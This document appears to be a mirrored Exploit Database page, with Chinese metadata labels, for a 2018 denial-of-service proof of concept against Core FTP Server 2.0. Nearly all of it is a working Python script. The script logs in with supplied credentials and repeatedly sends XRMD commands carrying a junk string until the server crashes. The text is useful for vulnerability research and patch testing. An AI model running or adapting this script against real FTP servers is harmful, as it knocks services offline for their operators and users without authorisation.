Core FTP 2.0 – ‘XRMD’ Denial of Service (PoC)

• Exploit Database
• 18 阅读

• 作者： Erik David Martin
  日期： 2018-07-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45091/

• # Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
  # Date: 2018-07-24
  # Exploit Author: Erik David Martin
  # Vendor Homepage: http://www.coreftp.com/
  # Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
  # Version: Version 2.0, build 653, 32-bit
  # Tested on: Windows XP Professional, Version 2002, Service Pack 3
  # CVE: N/A
  
  # Proof of concept:
  # Create a new domain and set IP address
  # Use the default certificate by Core FTP Server
  # Set base directory
  # Create an anonymous user (anonymous:anonymous) for example
  # Set a path for the user
  # Start the server
  # Run exploit: python exploit.py *target ip* anonymous anonymous
  # Watch the server crash...
  # The exploit will work for any user, and not just anonymous
  
  import sys
  import socket
  
  try:
  	host = sys.argv[1]
  	username = sys.argv[2]
  	password = sys.argv[3]
  except:
  	print("Usage: exploit.py *target ip* *username* *password*")
  	sys.exit()
  
  mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
  mysocket.settimeout(2)
  
  try:
  	mysocket.connect((host,21))
  	mysocket.recv(1024)
  	print("\n[+] Connected\n")
  except:
  	print("[-] Error! Could not connect to target")
  	sys.exit()
  
  junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")
  
  try:
  	mysocket.send("USER " + username + "\r\n")
  	mysocket.recv(1024)
  	mysocket.send("PASS " + password + "\r\n")
  	mysocket.recv(1024)
  	print("[+] Logged in as " + username)
  except:
  	print("[-] Error! Could not log in as " + username)
  	sys.exit()
  
  print("[+] Sending malicious request")
  
  while True:
  	try:
  		mysocket.send("XRMD " + junk + "\r\n")
  		mysocket.recv(1024)
  	except:
  		print("[+] Target is down\n")
  		sys.exit()